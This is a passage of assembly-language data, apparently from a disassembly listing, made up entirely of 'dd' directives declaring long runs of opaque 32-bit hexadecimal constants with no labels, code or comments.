		dd 0A7A21FAh, 168FAEFAh, 0F481FE1Bh, 1A3FC5F9h,	0DCAB36AAh
		dd 412E8ADFh, 0D9ADF51Bh, 5D0E8D9Ch, 253423F7h,	0D0CA2BA6h
		dd 681F313Bh, 0E743481Dh, 623BB11h, 975A9565h, 86569F76h
		dd 0BE48BC15h, 3BB15154h, 0B1DAD86Ch, 5A2D58CAh, 72F38A0Ch
		dd 0B9AD27A6h, 0C94C0FD7h, 206A9F15h, 0BBDF7179h, 0FF788C98h
		dd 95DEFD83h, 0D0772EF6h, 3CCA01B1h, 0E70721E5h, 0AB93D0h
		dd 0AFF23CF0h, 81AB779Bh, 1DB0BEB2h, 71622EE7h,	0EFAAB457h
		dd 22AE413Bh, 28081ED4h, 3565A88Bh, 0F46887ECh,	5A64561Fh
		dd 0AE380405h, 6756E67Ah, 1117C5D2h, 0E4CA5DCCh, 17E4810Ah
		dd 3AF1BB44h, 62D2387Fh, 57C18C3Ch, 0BB9FCDE7h,	0EC34A83Ch
		dd 0FC822707h, 0AD2B28DAh, 0D1F848F3h, 6AEBE442h, 3E6C6479h
		dd 0E0A2E6CAh, 67AD48A8h
		dd 0F927B0A7h, 0D9E58232h, 0B5310555h, 0F193604Eh, 0EC04EBC3h
		dd 431080ABh, 140797D6h, 293BFE1Fh, 67872BFDh, 8A56313Ch
		dd 0D6D24577h, 2F8EA4BBh, 594C493Fh, 55DEEB41h,	6292BD73h
		dd 0A1FF2B54h, 78D7358Bh, 92AA2906h, 0E4762811h, 8500906Dh
		dd 0ECDC9011h, 0CA464F43h, 4281BD55h, 0C93F25Dh, 308B9942h
		dd 0EC9E2F73h, 0A12055AAh, 24F0E8C2h, 45194760h, 3BC3309Bh
		dd 0EA989773h, 40685D4Ch, 0E54DB1F1h, 52ACC2Ah,	49EB55ADh
		dd 0D7C88A7Bh, 0CB32893Bh, 9017C9A8h, 0A2E6C758h, 59D22690h
		dd 0A4ABBF33h, 0BFDAC47Bh, 5DE76AD8h, 1923216Ch, 0F2C7345h
		dd 7F04D75Fh, 0D0CD1A87h, 0EE2CADD2h, 102B667Ah, 75AB4533h
		dd 7C978189h, 0D2C2EF2h, 0CC7549A3h, 0D597723Eh, 565C76E6h
		dd 4C67929h, 0E8814994h, 0D2ED726Ch, 0FAFA2EF4h, 54EE8BE3h
		dd 0DA524E9Eh, 0E28148B5h, 0B9A9AD7Ah, 0C4FB110h, 0F50B46E9h
		dd 0EE12A1FAh, 0BFD672A2h, 5CD1ED9Ch, 97825509h, 16C6E114h
		dd 1206D880h, 0D7E82264h, 14A872B0h, 440E3A63h,	7F681BBAh
		dd 0CBADFC6Dh, 19A9640Ch, 0CCB02586h, 3ABCBD6Fh, 73827D88h
		dd 7B837783h, 631E8433h, 3D6AE79Ch, 23115294h, 0EAD3905Ah
		dd 0DE5FF5F3h, 0FE99B0F9h, 9BE1B85Dh, 0FDC1748Ah, 118AA8Ch
		dd 442E3522h, 0EA654256h, 4AC7B447h, 99ABF01h, 0F989E4E4h
		dd 80B70F2Eh, 0FFBBF4D0h, 7D30AEC1h, 21F0D731h,	2CC9DCFh
		dd 0A5D356F1h, 0CF22CC15h, 0D4895809h, 0B2FA7BA2h, 2FE0596Dh
		dd 0AF5D63AFh, 951F9B7h, 0B1DCBEC6h, 16446448h,	0C8224019h
		dd 89C6851Dh, 0C46600B2h, 0C8885418h, 4055B38Ah, 272034DDh
		dd 83AB6C9Dh, 42388175h, 45D6C715h, 0B4F1061Eh,	4FE38791h
		dd 217C7C5Bh, 59681B04h, 412E2908h, 5D3D280Ah, 3A85B1BCh
		dd 0C184FAE1h, 0E2C28E5h, 38E7FD00h, 6C88874h, 0E7EBCBBBh
		dd 53B80932h, 0D762A581h, 0FA07048Fh, 82254540h, 7805CA9Ch
		dd 4AAFF632h, 0D1221FAFh, 0FD145CC4h, 0B6E8308Fh, 0F831F7AFh
		dd 0F68344A3h, 51F68D82h, 254C5E23h, 8A6343CBh,	76A4AD55h
		dd 0C74DD719h, 3B92E64Dh, 470ED0Dh, 33E4C4EBh, 45623931h
		dd 0D0624717h, 1A795945h, 0A6CC9893h, 0A1BD51A0h, 284033F6h
		dd 0FAFB2015h, 3ACC1388h, 84952ACEh, 4F0442CCh,	0BF35F66Ah
		dd 0BE2FEE7Ah, 0F340819Ah, 694AEFC1h, 0D6349D64h, 0AAE722FCh
		dd 0F2CC3EA0h, 44F0628Ah, 0BE4A40D7h, 0C59D2B14h, 0AE0817E6h
		dd 997D6435h, 0E798A3ACh, 439547F5h, 2148F273h,	832755EBh
		dd 0E56F0A39h, 21802856h, 5C2EB516h, 77D8ABB1h,	71FF0BC5h
		dd 1D17A526h, 0D8CABFFAh, 0F748B0ABh, 7817772Bh, 20CF480Ch
		dd 7ACDAC02h, 9E5550FBh, 477988AEh, 0E4C1A690h,	3D011F87h
		dd 7AAF1FACh, 1F24B0DEh, 85448AA6h, 8DA58B9Bh, 0F701BEC2h
		dd 83AD625h, 2F664234h,	980F074h, 0CA28C5D2h, 8A15A6FFh
		dd 0A57E10Ch, 0BA6AA91Fh, 0A414C3DCh, 63CD893Eh, 30709900h
		dd 306FDE46h, 9A6FE30Bh, 74428D72h, 0EB86C2EBh,	50179CE1h
		dd 9A693012h, 0B8F73462h, 8CA73F9h, 0A4BC49A8h,	3D6C128Dh
		dd 0C09C4713h, 0F4565FAFh, 5C6883A3h, 51D9F8Fh,	0B3EEB554h
		dd 31DC35E0h, 3F2B4F54h, 36E82A30h, 0D18AF66h, 2E4B8C1Ch
		dd 837F9337h, 266BF4EFh, 0BD519F5Dh, 11F32504h,	50C2BB43h
		dd 164045Fh, 2A95B309h,	0C9CA0D2Ch, 0E04B322Bh,	932B7AE5h
		dd 1A8E0444h, 4DB0C92Bh, 1C8CF5Dh, 49DF6750h, 23E93256h
		dd 0BCA80831h, 62C2839Ch, 65E21B81h, 88AFF21Fh,	38FB5EB5h
		dd 75585144h, 0B5E1F4A4h, 21FCC610h, 0BE067D26h, 0C146148h
		dd 102A9AC7h, 33850617h, 2D3408E8h, 67F10B46h, 9028DFC1h
		dd 0F1D4D9AEh, 0F70859B7h, 5C62220h, 0AD10F5C5h, 17720A91h
		dd 11D22C44h, 0FDB54880h, 20CA29B5h, 8CAEF00Dh,	83C3F535h
		dd 74A6ACBFh, 0D7E05417h, 0CFF14FFDh, 0AC59B494h, 0FDBA182Fh
		dd 0E7493431h, 26CA447Dh, 0F7F92686h, 9E178023h, 9DDD5CE2h
		dd 0BA9C7C5Ah, 2F24A7EBh, 0F7E5D33Fh, 54F59183h, 4EDDFF04h
		dd 1D4EEE1Dh, 0B2111A1Fh, 0F04DDF80h, 73F9575Bh, 3F96EA9h
		dd 29953A0Eh, 92C5FA42h, 726044ACh, 4B8C3499h, 0C042ABDh
		dd 813C102Ah, 0FA560A48h, 90034537h, 5C76CA52h,	1E29FF5h
		dd 0A4D85192h, 0E97180D8h, 5448505Eh, 0CE3FB515h, 3C514619h
		dd 232C2974h, 6705105h,	5D2997B6h, 5E40A58Fh, 0A483A0F6h
		dd 5FCAC6ADh, 62173D24h, 95C88024h, 86257346h, 2AF8EE74h
		dd 0D9996064h, 2FF5181h, 137BA954h, 72908D16h, 0EBA6A70Dh
		dd 0EB1185Dh, 12DCCC77h, 615A034Ch, 0CF92B62Fh,	6F640D1Dh
		dd 620B566Ah, 0C43D8F82h, 0C75509BEh, 0F07032h,	93D6718Ah
		dd 0C4A43168h, 9488150h, 30030728h, 9042906Ah, 0C200B309h
		dd 3BC62FCBh, 0A03EE5D6h, 4BE8A2FFh, 0A48FB8BBh, 2775EF0Ch
		dd 8C08913Bh, 0AE0B8482h, 11405018h, 0B016B70Fh, 96717B36h
		dd 91233F11h, 0EC9FAF81h, 2E0050F0h, 0E89446E2h, 0B880DE09h
		dd 0BA5D2FA0h, 187B5D80h, 72F0E77Ch, 30D7EE36h,	1209C87h
		dd 700A95EDh, 4C105768h, 0C599410Bh, 0E1988283h, 0E90B22FBh
		dd 0A00E99FFh, 4936E8A2h, 0FFC0616Ah, 55B2C07Fh, 0CF953DF0h
		dd 190D56D3h, 0CD21585Eh, 0A71E6540h, 8B2A7C2Bh, 8221A6C0h
		dd 0C82DB0E1h, 0EB6D8E50h, 0B1A85037h, 548726CCh, 6B410CF7h
		dd 0D68AD6E9h, 0FA6F66D4h, 64FCCE06h, 58FADFBBh, 0B1B1BAD6h
		dd 1228418Eh, 0E1C951DDh, 1AC3C048h, 31003159h,	9430B763h
		dd 0B02AA829h, 0F0D659A9h, 233DA310h, 674ABD57h, 0D6A9E9DCh
		dd 0AB92AAh, 415D3DFFh,	0EF9642E3h, 286B5956h, 0B1D877CCh
		dd 0E54CB09Eh, 0EE719758h, 7F9C6319h, 46A08B56h, 0A2B8C198h
		dd 5DB2B413h, 316F660Ch, 54318196h, 0C7A4ACEh, 36C2ACF6h
		dd 4A06F3ACh, 7DF80780h, 6D726A73h, 8A815FFBh, 92628E64h
		dd 2A6F9901h, 0E1BFA113h, 0B044FB01h, 19C1CC0Ch, 0A60FE8BAh
		dd 0EE303E0Fh, 0FC2BE1B3h, 0AEFF1E2Bh, 8BAC9538h, 20BB7110h
		dd 373885B0h, 902AF238h, 0CA9EFD08h, 8FAFF5C6h,	0E3F9E158h
		dd 89DFA356h, 19F47311h, 0EAFEF97Dh, 0BE8C7331h, 2F852670h
		dd 3CF2F3CBh, 2A5D64C4h, 511CFA39h, 41143AC0h, 0D9CB2CD7h
		dd 30A092DFh, 5895974Fh, 74565D38h, 73C5DE2Eh, 0E7E094A7h
		dd 0A5BB439h, 2F48613Ch, 76062B6Ah, 88F67804h, 88852B2Fh
		dd 74947D98h, 818C53C9h, 0F29200A7h, 631FAA0Eh,	52A48C81h
		dd 6B94EE28h, 0D178DD5Eh, 4FDC76A9h, 2BAAE0F3h,	8ADE5B88h
		dd 0CE5BF399h, 0B1121A2Bh, 0BACB555Dh, 47E577D6h, 79F5D531h
		dd 25AA73E8h, 9DA12E86h, 306EEEABh, 1E153BEFh, 2179FA77h
		dd 0DD4AEB84h, 0F5388814h, 66C09D49h, 0C4FAAC0Bh, 0C16707BFh
		dd 0F0FA3C1Bh, 0FDB4575Dh, 0DF922CD0h, 1A1728A6h, 68E031Fh
		dd 2C58DA89h, 0CAFBC131h, 0A0B9974Ah, 0EC972983h, 9BFC5B18h
		dd 0A8800252h, 0A5573302h, 629E652Ah, 0B7BB0388h, 1841862Eh
		dd 0F65F2BE3h, 30B0ECCBh, 2296469Bh, 2B4DBCD2h,	0E0F80800h
		dd 6065FE96h, 52E32105h, 626EBFF4h, 8311F0h, 8640F5C7h
		dd 18ECA38Dh, 0D08BED4h, 96FF42E9h, 0C7D7DC49h,	4F90ADBFh
		dd 0D88A0301h, 0D0820C2h, 4AAE6E8Dh, 0C43A1217h, 76840276h
		dd 2CF1727Dh, 77A2D8CDh, 0A4317622h, 2D1CC91Dh,	0AA1B0AACh
		dd 9C948620h, 9A77107Ah, 0CB0B4E55h, 4F1CEBAh, 925B2B09h
		dd 5AE69B89h, 35CF5379h
		dd 76937197h, 201A5C91h, 0AE77C815h, 0AF37E30Ch, 0E197AE1Eh
		dd 0B2387B2Ah, 0A38C3EC5h, 63EB0966h, 2B36FB11h, 0A2D523AEh
		dd 1F5B79ACh, 0FA4EDF59h, 0E692177Dh, 0C7B16BECh, 0D62D67BAh
		dd 0F21C7B87h, 4ED6519Ch, 594D8DF8h, 35EB511Fh,	19067F03h
		dd 0CA1A725Eh, 0C9C40D9Dh, 36209FA0h, 501054DDh, 0E9B2CD76h
		dd 63199D20h, 4C51749h,	5094911h, 6BC16518h, 0F5D1C207h
		dd 675C11C0h, 19E7B144h, 32C53672h, 0F4191868h,	0A1077C49h
		dd 3D466C40h, 0A478D018h, 160A107Bh, 8B0B3E95h,	0A7742B8Ah
		dd 381CACEBh, 0E768F9B2h, 6050FC07h, 0C1BA2738h, 5397CCE1h
		dd 850BC840h, 0A8C57484h, 0B008BF77h, 0CC8068Ah, 7C192836h
		dd 5F9DE033h, 883F1DEFh, 0DAAF97C6h, 58BC8A6Ah,	5CBB9A8Dh
		dd 0D8C2B735h, 2BE8BD5Bh, 75575412h, 1DEDA365h,	93E84EBDh
		dd 8FE3A3E9h, 291001D4h, 9454BDB4h, 48B82950h, 0CEC08042h
		dd 1DEDC3DAh, 897AAA42h, 0B50B9FE1h, 0D19477AAh, 81A757FAh
		dd 7C90C63Eh, 17998FBDh, 0E4AC45F4h, 40BA55C0h,	9D16421Fh
		dd 2580629Ch, 9D94BE49h, 2DC63906h, 0E2E142EDh,	4B12CD0Ah
		dd 0D02F9B3Ch, 0D4EB0167h, 0E8182F86h, 0EBE848BBh, 1292510h
		dd 0EDD818A3h, 5E92A7F5h, 0C59B745h, 0C98BD9F4h, 0DE691B2h
		dd 223B043Ch, 461808C4h, 527274E5h, 0AAB252A4h,	4EC75E10h
		dd 5442231h, 0C2D83779h, 63657CF5h, 14A109B1h, 5ACD4B84h
		dd 350AB3B0h, 0DBAD556Ah, 0C83AC565h, 0DC6B1752h, 7CAD1C37h
		dd 0ED739AAFh, 4E6A2A32h, 0E93CA92Ah, 0E0CB2A50h, 93654C87h
		dd 65F8BCA1h, 8AA1F29Ch, 29115B22h, 0B2E9647Ah,	7227090Fh
		dd 7D3D082Eh, 53EA53B5h, 87DB6640h, 0DE2D5A06h,	7708FF15h
		dd 0E8541650h, 9532C1EAh, 6AD1A215h, 0D6BE617Ch, 0C358FE00h
		dd 70F856CBh, 0DC178061h, 1413B101h, 195A5476h,	3749081Fh
		dd 33C44C20h, 0C8F2AABAh, 6900C17Ch, 58813B2Bh,	0F60E8852h
		dd 38D40A23h, 84AA1906h, 0C38914A9h, 95224615h,	0F3B2152Ah
		dd 9226EA9Dh, 34A6A565h, 33846FAh, 3E68A0ADh, 0CC7DC4BAh
		dd 9FAF48B8h, 0F6E90977h, 0EAB388AFh, 101C5E23h, 6BEE87CDh
		dd 0EF397536h, 8249EF67h, 449BA662h, 0A8E05E67h, 9DEA2BF1h
		dd 0EAE120C6h, 0ED1ED52h, 636B6879h, 1390A10Ah,	47456BF6h
		dd 0EC1948BAh, 0A710DDF6h, 48674F27h, 681C7D3h,	5F8E2165h
		dd 0BF458889h, 0E34F3E78h, 96A88365h, 311FB611h, 0D5C2C5A3h
		dd 16427545h, 0BB156EF1h, 0CD8DDF60h, 41ECDBADh, 268CAD81h
		dd 43FD91Eh, 6B9619CAh,	45391B41h, 0B7EF9A6Fh, 1F627112h
		dd 0B82BD69Ah, 5F067404h, 4BA6E849h, 99569A87h,	2FCFFB51h
		dd 3964AB87h, 52B7DE49h, 0CC050D45h, 20EB1D46h,	3B8F28E3h
		dd 0C848D054h, 0DB0C670h, 6264AB1Eh, 0C6D7D71Ah, 363D6D6Ch
		dd 0AE91A195h, 64E63055h, 28F5B3CCh, 0C1F40F8Dh, 63F9E09Dh
		dd 0F3716204h, 0C46860C7h, 95B18275h, 9B54C599h, 0F7FC3399h
		dd 0FC1FA2B3h, 9EF1E2F9h, 298F0C15h, 795F7DABh,	610F62EBh
		dd 0F5971233h, 0AE967D18h, 337A7346h, 4F3E1C6Ch, 9738FA32h
		dd 0CB6C8B62h, 1ABBBE8h, 0F07CBD11h, 9E81EBEEh,	0E7E0F057h
		dd 7259A0CCh, 8D44FC28h, 1855B153h, 6638431h, 0ACE0D59Fh
		dd 0B8B98E3Ah, 0B4E6DB1h, 3811EE2Dh, 6F68787Bh,	26A9F56Ah
		dd 0BA6A9AB5h, 14A2B2A5h, 0F3A512B3h, 0AFA0F1A4h, 0A28001A7h
		dd 0D5A8A00Bh, 8DC6CF43h, 0A841C21Ch, 7804452Bh, 8BCBD7C2h
		dd 0DA6EC98Ah, 6ADD3E84h, 1CD81321h, 4F4E9779h,	8B6362CDh
		dd 451D2A8Dh, 697B405Dh, 5DB61DEFh, 46716551h, 56DC17C7h
		dd 3A44E743h, 0CAD52ED8h, 0B43BDFBFh, 0B0340460h, 0D24035Dh
		dd 5209C022h, 0F80A218Bh, 0BE2E48C1h, 9127BA36h, 0B44DA4B3h
		dd 5A0ABB96h, 82DB900Ah, 65874E8Eh, 0B2222ADDh,	80C38DC8h
		dd 24DAEE95h, 0CC3EDA91h, 13C04A0Fh, 0FFBAAF45h, 3DD7AF61h
		dd 7A187596h, 108E4842h, 492E4752h, 914C6CEAh, 0FEEFE712h
		dd 5DC81F37h, 0A26E44A5h, 6B3B9077h, 0C1179DF1h, 0F681B5FBh
		dd 6EF4EFD9h, 584662F8h, 756C4F50h, 42D16610h, 0CAAF05D2h
		dd 0B62FCB4Ch, 9E048A4Ah, 4EFB8ABBh, 8BA8A54Fh,	1647B74Fh
		dd 2F32510h, 2338C27h, 0C9CDE633h, 0BA6AE20Ch, 9014F8F2h
		dd 2609BCEDh, 0DC8A6038h, 0F7FE9042h, 4A020624h, 12FD1CC7h
		dd 7045A5D2h, 0B1062610h, 0FE52F5ECh, 9E048417h, 0C31008AEh
		dd 449EEA25h, 0E0AD23A7h, 26B1BCD2h, 874EE5D2h,	0F8089A16h
		dd 525923CBh, 89D50B82h, 68259705h, 0AF12B3A9h,	18B5C7DEh
		dd 82703EC1h, 0F6D4D143h, 29ACE2C7h, 54760F5Fh,	0BE87C965h
		dd 435D01DCh, 0F2CF494Ch, 9CD3760Fh, 0C904B125h, 0B4546217h
		dd 0BC2ACFA4h, 0D54643F2h, 84AB933Fh, 0BF23AD6Ah, 49FB7B28h
		dd 619F498Bh, 4E2BC3A7h, 0C0CE7290h, 214CA1Fh, 6556B436h
		dd 69CF3F09h, 0E5C2FC91h, 2374B6B0h, 607C71C6h,	271B5033h
		dd 67017CD4h, 2A61B97Eh, 9A1A6D55h, 83EB86E5h, 0CFAA2742h
		dd 0A23BDD2Ch, 0A2CA6D0Ah, 4217B501h, 9AAEBD4Ch, 0A16FC858h
		dd 5B94B096h, 30B8BF85h, 0B7C62A60h, 0A3C0BE2h,	6FA340D8h
		dd 0E258267Ah, 4E91583Ah, 0A81CCAA4h, 6BF6B52h,	2FC1C6B1h
		dd 47F91CEAh, 8F00D66Fh, 0AA7F843Eh, 0BA34CD68h, 0C12C682Eh
		dd 0DB7F08BAh, 182DB716h, 424462EEh, 0F3ABD423h, 71E065E6h
		dd 2064D2B2h, 67FF924Ah, 31DED5F4h, 0AD30C7FFh,	2E8CB302h
		dd 0AC7B46F6h, 0ABA9A8C0h, 5599E006h, 3C4DD565h, 1584265Dh
		dd 643AAFAEh, 41A4B2D0h, 0FF019835h, 8A5AACE8h,	9818C374h
		dd 0FA253F84h, 668FE058h, 9641A101h, 0CD424F83h, 50776D9Ch
		dd 62928ECBh, 3C95810Ch, 7E8792B9h, 202C1B53h, 16BB8006h
		dd 0D06FBC81h, 0FE36829Ah, 0B82BB514h, 2EB0672Ch, 49FDC17Ah
		dd 5CA17CCCh, 6C41F482h, 0BD73381Ah, 82217086h,	0B1B2A027h
		dd 286131D0h, 38E283B3h, 0D0FCBB95h, 21ECE918h,	0D81C1819h
		dd 0A79FF307h, 0C26573h, 0F3958525h, 71556BE8h,	755FD52h
		dd 4554E07Ch, 0F91EF029h, 6057E732h, 0A40C1FEh,	4D0AE860h
		dd 257BEEB1h, 0F898FF77h, 0A3ED8603h, 2B216B01h, 0C6EB8E6Fh
		dd 39A3812Dh, 0AE3C66C9h, 33B5CF7h, 40A16C8h, 5D116D55h
		dd 6A116D09h, 4792AD89h, 2DEAE09h, 0D366D1DDh, 2A0F094h
		dd 259E897Ch, 56118FC0h, 4C40D481h, 7602296Ah, 0FBF9A6E2h
		dd 3236BD49h, 0AC5210DAh, 0B5DB5A12h, 0B3C6274Fh, 6B7AF12Eh
		dd 0CC62D8AAh, 403982F0h, 83256F10h, 86A854F0h,	510C8086h
		dd 80ECA680h, 4E37706h,	0BB5D26B1h, 8E10973Eh, 0AA9123ECh
		dd 9B9E536h, 9CB60434h,	25B234B0h, 0D1420490h, 813C28C6h
		dd 104BA963h, 0B6F3DA29h, 7C32092h, 0F4660277h,	6C3304FBh
		dd 80C07480h, 0F92C1098h, 114E27C0h, 0D4CC0945h, 28228FA4h
		dd 0F4CCC581h, 0BF029C1h, 9813FA3Bh, 848F4B40h,	2BE15B26h
		dd 709C9609h, 6824F06Eh, 0C8863520h, 0C05A2930h, 4D14A208h
		dd 88221538h, 9203821Ch, 3B199023h, 0CEE59066h,	0A47C8970h
		dd 0D5FB5B16h, 41B21BA4h, 0EC312245h, 94B18400h, 509EC718h
		dd 10948A8Ch, 0F14EB908h, 12651F5Fh, 600F4C0Bh,	0BE597D98h
		dd 4748FFB0h, 3503DF80h, 0A9A23F82h, 0C881463Ah, 0EB8D207Fh
		dd 79C3CFC7h, 7A163061h, 6902F208h, 6894C06Ch, 0CBF9F892h
		dd 812DD8A2h, 0C0483333h, 3989E0FFh, 39BECC41h,	22F17241h
		dd 9B079407h, 0E103CBA4h
		dd 64886039h, 0AC4408C7h, 0C02D2296h, 787B020Eh, 57A8C589h
		dd 86693070h, 54F17AE6h, 86831201h, 0DD0BB142h,	0F040A631h
		dd 0D77A2C8h, 0EED81745h, 0E22B60E0h, 535D2DC0h, 9D508609h
		dd 22BED924h, 1E7A0099h, 0DFE0C5CAh, 89FB7E24h,	89F72524h
		dd 89EF4A08h, 41AF4A04h, 8096C256h, 5E24BF8Bh, 0EBFFF019h
		dd 0CBA40E1Eh, 523CF313h, 0C4ABE90h, 0E656EAA6h, 0DA203030h
		dd 0FFEC11DBh, 0ACABD25Fh, 99101A21h, 0BA242293h, 0FEE9042Fh
		dd 41381103h, 3F820C58h, 108B3E88h, 3A0D7D5Bh, 50FA454h
		dd 41A4A11Ah, 6AAB582Ch, 25807C28h, 1F4A0014h, 447B206h
		dd 5029A1EEh, 0C17B6683h, 50C31FF5h, 33ABA038h,	0B7E6FCDEh
		dd 0D4365F1Ch, 0B6F22CE5h, 0C2297D87h, 0F5F3E914h, 0F5905A10h
		dd 0A25C16BEh, 4D0E5C2Ah, 40446F6Ah, 8B905165h,	5FED0182h
		dd 121E4203h, 0AE9319A4h, 84015334h, 2B51DD10h,	16C84641h
		dd 0A265908Bh, 93748565h, 562E2A89h, 0F3CBC8D2h, 9EFFCFB9h
		dd 5D43B91h, 41F983BBh,	7BA65028h, 0C0BC431h, 4B187AE9h
		dd 73263021h, 0BD471B3Dh, 0A6D00594h, 88C938Ch,	915C8433h
		dd 447F045Dh, 10258CB1h, 462891B5h, 70D2FABEh, 6B58A248h
		dd 0FE62999Ch, 9C798162h, 887510BAh, 7324DC8Fh,	0F30A121Eh
		dd 0FC340DACh, 50A53A52h, 0E5774D90h, 0E0913110h, 0D218E181h
		dd 0CE667CCEh, 0C37B6BF3h, 47CF5EBEh, 0D1EAAA6Fh, 0ED55B863h
		dd 0D8463BFEh, 6EB0470h, 0F4D50895h, 1EA704C5h,	0F105D32Ah
		dd 2216C3ECh, 146ECA72h, 0C0D06C48h, 0BEAE207Fh, 10299D9Dh
		dd 65CB34A6h, 5E8D2E90h, 1C3EA41Fh, 69AB4E0h, 2A0370A6h
		dd 0E31E6568h, 7305C3ACh, 0F82905F1h, 9AC3C58Bh, 21810085h
		dd 2FA1D615h, 0BC255FBAh, 0FDC5748Ch, 319A97F9h, 4458B34Eh
		dd 0DC2134DDh, 68CCD399h, 0E6666E0Eh, 0BCAD9B7Bh, 9DDE02D2h
		dd 9748698Fh, 38033D9Ch, 0FC5D9DFAh, 56E1903Bh,	0EAC77EDAh
		dd 42DEAFCEh, 0D5057141h, 6FE0D056h, 6E676904h,	8175569h
		dd 6602BE04h, 3AC3AE0Ch, 3CBC0430h, 0D081F2A8h,	4618C695h
		dd 760A6900h, 0ED988671h, 64A02844h, 76F912E9h,	95F60BE4h
		dd 0A579EE1Eh, 5BD0F10Bh, 3C0D519h, 0B0465229h,	96A3BAA3h
		dd 0E37D17FBh, 0E8958F93h, 48AE1D51h, 14BAB512h, 7BC7E048h
		dd 0B81DCA1Ch, 8254CA2Dh, 9BAB0555h, 0B31E25B8h, 0A56726ACh
		dd 0F6C9BDBh, 9C5BA18h,	6159262Eh, 5033DA3Ch, 9825B60Eh
		dd 401AD6B8h, 434F0242h, 4244AFCDh, 58407401h, 2F702116h
		dd 40E85C86h, 5F9C4177h, 25FF6688h, 0E5B7D486h,	0D03D5FE8h
		dd 2F18BC90h, 8C895D64h, 8B456A2h, 0C9DBE2FDh, 5B3106h
		dd 905BC8D0h, 0B09000AAh, 96CDD7C0h, 0BC9B2EF8h, 2531765Bh
		dd 503F1679h, 66776492h, 7761D500h, 0A8E148CCh,	5188255h
		dd 0CA115544h, 7B38DC4Dh, 462BC62Dh, 0BBE50590h, 6F755495h
		dd 7E345C0Ah, 0AE8C062Ch, 0AD2C8CE5h, 4B125832h, 79204C79h
		dd 0A3082316h, 17C562B7h, 351A29BAh, 7219578Fh,	849C407h
		dd 7033D9FEh, 221440B8h, 0FA1C67E0h, 0F882C513h, 80ED309h
		dd 981FF94h, 0F0020F82h, 36D5F0C3h, 65BE310Bh, 0A4E961FEh
		dd 0ADDE7528h, 0FDD6606Fh, 1221F0Bh, 401414FFh,	0CFFAD5B1h
		dd 0A212C604h, 8E096415h, 0F17FB0F6h, 2B3346E3h, 8D165694h
		dd 51ACADF0h, 37579EBFh, 182A0FE4h, 0D2051DA2h,	0D13F8B8Eh
		dd 0D7ACA348h, 5B2F5F45h, 7EDF505Bh, 338D0121h,	0D93920Eh
		dd 5E4D19Ch, 6C68F2CCh,	4A6A3836h, 0E574D0F4h, 0B3D9155Eh
		dd 743FB6E9h, 98A2B5D6h, 2C3051D3h, 0AD49D1Bh, 82072921h
		dd 807A2A39h, 10486020h, 30FA95F6h, 0EFFF81FFh,	26E01C31h
		dd 0C4D8CEF8h, 76D5C050h, 0BB7F100Ch, 0BA416F3h, 0D8058571h
		dd 5317A071h, 707DB605h, 9E265587h, 2DF14C82h, 0CF8B2B62h
		dd 3124C77Fh, 0B37DCA44h, 921FD945h, 202D9E4h, 0EDF8BF65h
		dd 194BC029h, 66FA980Ch, 4CC54CDFh, 6208EAC1h, 0B1C4123h
		dd 54A1FBF4h, 65D3F0Bh,	409CC6C1h, 0F3300B69h, 5A0203C5h
		dd 0A42F314Bh, 0E028FF63h, 0EB80B72Dh, 53EA4B85h, 0D8D3799Bh
		dd 1886A205h, 0AAE31813h, 81238E81h, 0B0433342h, 2909989Ch
		dd 0AB364259h, 3953FA18h, 0FAC171C0h, 0FE887A0Eh, 0C11F9974h
		dd 139845A3h, 75D4538h,	2252BA4h, 200E2ACAh, 126400BDh
		dd 0F11A3B02h, 8756ABECh, 0D2B9E659h, 0D7F3CF11h, 4F99DC2Dh
		dd 0DF86C828h, 0B5C67508h, 474B13F4h, 5A0C9811h, 80632DC5h
		dd 62AA7143h, 2552E6FAh, 5D8AB14Ch, 0B955031Dh,	24F3C220h
		dd 41D44AA2h, 6F682204h, 37F43618h, 32650AA2h, 383B1153h
		dd 1825E58Dh, 52EAF701h, 0FC075660h, 0A0BD1AAEh, 0A80DEE7Dh
		dd 0F54AC638h, 1AB65AE8h, 0E5C3D5DCh, 9160DF67h, 0D6584208h
		dd 7D8D2E9Dh, 0FC1F2314h, 0B6EA024Eh, 20967BE3h, 3F158EFCh
		dd 3BFA0C5h, 0EFC107CAh, 0D84E0818h, 0A243B68Bh, 0A54B2BCBh
		dd 0D70615C4h, 4885419h, 0A2A872D1h, 0EB5C3C22h, 0D4F8F34Bh
		dd 0AC6A33D6h, 40E24850h, 5BB7DF33h, 0EBDD7595h, 3E62FA68h
		dd 0D842EB8Eh, 62468C29h, 0AB2B2953h, 3E81682Ch, 2876E1D7h
		dd 5E9F94CEh, 0EA329BCCh, 0DEE3800Ch, 61895A57h, 0FA3A69AEh
		dd 0A419D4A6h, 8EB8DFF8h, 4AF2C8C8h, 636BE657h,	31C2F0BEh
		dd 0AF0E1386h, 1875F0CBh, 445238AEh, 0BAF72C13h, 1FC71DAh
		dd 0C03E152Dh, 0F7C82699h, 34EFEC3Bh, 0ADE0D59Ah, 8A55EF7Eh
		dd 6C9D4EABh, 38F75342h, 74B62F45h, 8B1D49C2h, 56DEAEACh
		dd 0AA3FC0EDh, 71A69BA6h, 295C49C3h, 8E9A4E2Ch,	0B5F5599Bh
		dd 76313D1Bh, 0B2B90288h, 0D574B049h, 0D7198C86h, 0FE62BEF1h
		dd 0E2EB6984h, 6204B6BFh, 3472BCC7h, 46978E8Dh,	9C2BA611h
		dd 58178C24h, 0D75B9362h, 0A31DAD73h, 5D62138Eh, 1304E025h
		dd 835D8F08h, 65F6CCC4h, 88B92795h, 0BA4A7599h,	0A0C1EF6Ah
		dd 0E3B0C236h, 17E92E02h, 0A281A778h, 0F0391AFh, 2AED0B54h
		dd 1627D748h, 0E805FD10h, 0C6D9D95Ch, 0E2D3C288h, 151780Ah
		dd 4064B398h, 83F0C6BAh, 7C18AF91h, 1655C3E0h, 0BA96DF26h
		dd 9A0ED882h, 0F8A3F605h, 0D4959A2Fh, 0B7EAECFFh, 73D8F8A0h
		dd 20FF53B0h, 7DD42180h, 40D92E9Eh, 0E20DCD68h,	0B7A65519h
		dd 0CDDE6686h, 92425C2Ah, 0EB1A8FD4h, 3868128Ah, 8D74BCBh
		dd 0DA540794h, 143A6D5Ch, 0EB2062C8h, 0CD5B127h, 0F3576992h
		dd 2C08AED0h, 0A43403ABh, 2C71F9F8h, 5CAA5DFFh,	55001A31h
		dd 8386FC2Ah, 0EE98A6A8h, 0DD1AD056h, 0F4D5EB32h, 5147F17h
		dd 4D3C7B8Fh, 6053E5EDh, 0AC896AACh, 0C8E9FD62h, 39A1F3ABh
		dd 0BAE70157h, 17369DB2h, 44387E7Dh, 41E5F458h,	3955983Ch
